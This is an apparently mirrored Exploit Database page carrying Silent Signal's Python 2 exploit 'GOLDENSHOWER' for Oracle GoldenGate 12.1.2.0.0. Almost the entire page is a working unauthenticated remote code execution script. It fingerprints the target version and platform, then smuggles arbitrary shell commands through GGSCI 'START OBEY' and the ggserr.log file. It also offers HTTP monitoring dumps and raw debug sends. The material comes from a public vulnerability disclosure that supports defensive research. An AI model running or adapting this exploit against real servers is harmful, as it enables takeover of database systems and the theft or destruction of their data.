Oracle GoldenGate 12.1.2.0.0 – Remote Code Execution

• Exploit Database
• 75 阅读

• 作者： Silent Signal
  日期： 2017-05-09
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41978/

• #!/usr/bin/env python
  # Sources:
  # https://silentsignal.hu/docs/S2_Oracle_GoldenGate_GOLDENSHOWER.py
  # https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/
  #
  # GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal
  #
  # Tested with:
  # Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0_PLATFORMS_130924.1316 Linux, x64, 64bit (optimized) Oracle 11g
  # Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0T1_PLATFORMS_140313.1216 Windows x64 (optimized) Oracle 12c
  #
  # Nmap service fingerprint example:
  # ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)========
  # SF-Port7809-TCP:V=7.12%I=7%D=2/20%Time=DEADBEEF%P=x86_64-unknown-linux-gnu
  # SF:%r(RPCCheck,2D,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20th
  # SF:e\x20command\.\0")%r(DNSVersionBindReq,28,"\0&\x20\x20ERROR\tMGR\x20Did
  # SF:\x20Not\x20Recognize\x20Command\0")%r(DNSStatusRequest,28,"\0&\x20\x20E
  # SF:RROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(afp,28,"\0&\x20\x
  # SF:20ERROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(kumo-server,2D
  # SF:,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20the\x20command\.
  # SF:\0");
  
  import socket
  import struct
  import argparse
  
  HOST = None
  PORT = None
  PLATFORM = None
  
  
  def send_write(cmd):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  
  term_ch = "#"
  if PLATFORM == "win":
  term_ch = "&"
  
  cmd_ggsci = "GGSCI START OBEY x\nSHELL,%s %s " % (cmd, term_ch)
  cmd_ggsci = cmd_ggsci.replace(" ", "\x09")
  
  length = struct.pack(">H", len(cmd_ggsci))
  s.send(length + cmd_ggsci)
  r = s.recv(1024)
  print "[+] '%s' WRITTEN \nReceived: %s\n" % (cmd, repr(r))
  
  s.close()
  
  
  def send_exec():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  cmd = "GGSCI START OBEY ggserr.log".replace(" ", "\x09")
  length = struct.pack(">H", len(cmd))
  s.send(length + cmd)
  r = s.recv(1024)
  print "[+] EXECUTED - Received: %s\n" % (repr(r))
  s.close()
  
  
  def monitor():
  if PLATFORM == "win":
  print "[!] Windows platform detected, this may not work!"
  
  import requests
  paths = ["messages", "registry", "statuschanges", "mpoints"]
  for p in paths:
  r = requests.get("http://%s:%d/%s" % (HOST, PORT, p))
  print "\n--- MONITOR - %s ---" % (p)
  print r.text
  
  
  def version():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  #cmd = "GGSCI VERSION".replace(" ","\x09")
  cmd = "GGSCI\tVERSION"
  length = struct.pack(">H", len(cmd))
  s.send(length + cmd)
  r = s.recv(1024)
  ver = r[5:].replace("\t", " ")
  print "[+] VERSION: %s\n" % (ver)
  s.close()
  return ver
  
  
  def debug(cmd, l=None):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  length = None
  if l is None:
  length = struct.pack(">H", len(cmd))
  else:
  length = struct.pack(">H", l)
  s.send(length + cmd)
  print "[+] Sent: %s" % (repr(length + cmd))
  r = s.recv(1024)
  print "[+] Received: %s\n" % (repr(r))
  s.close()
  
  
  parser = argparse.ArgumentParser(
  description='GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal')
  parser.add_argument("--host", help="Target host")
  parser.add_argument("--port", help="Target port", type=int, default=7809)
  parser.add_argument("--cmd", help="Command(s) to execute", nargs='*')
  parser.add_argument(
  "--monitor", help="Dump information (incl. version) via HTTP monitoring functions", action="store_true")
  parser.add_argument("--debugcmd", help="Send raw content", required=False)
  parser.add_argument("--debuglen", help="Indicated size of raw content",
  type=int, default=None, required=False)
  
  args = parser.parse_args()
  
  HOST = args.host
  PORT = args.port
  
  ver = version()
  
  if "Windows" in ver:
  PLATFORM = "win"
  print "[+] Platform: Windows"
  else:
  PLATFORM = "nix"
  print "[+] Platform: *nix"
  
  if args.cmd:
  for c in args.cmd:
  send_write(c)
  send_exec()
  
  if args.monitor:
  monitor()
  
  if args.debugcmd:
  debug(args.debugcmd, args.debuglen)
  
  # Signature: aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0wNHZINFdfOVJmZw==
  

  PowerShell

  Copy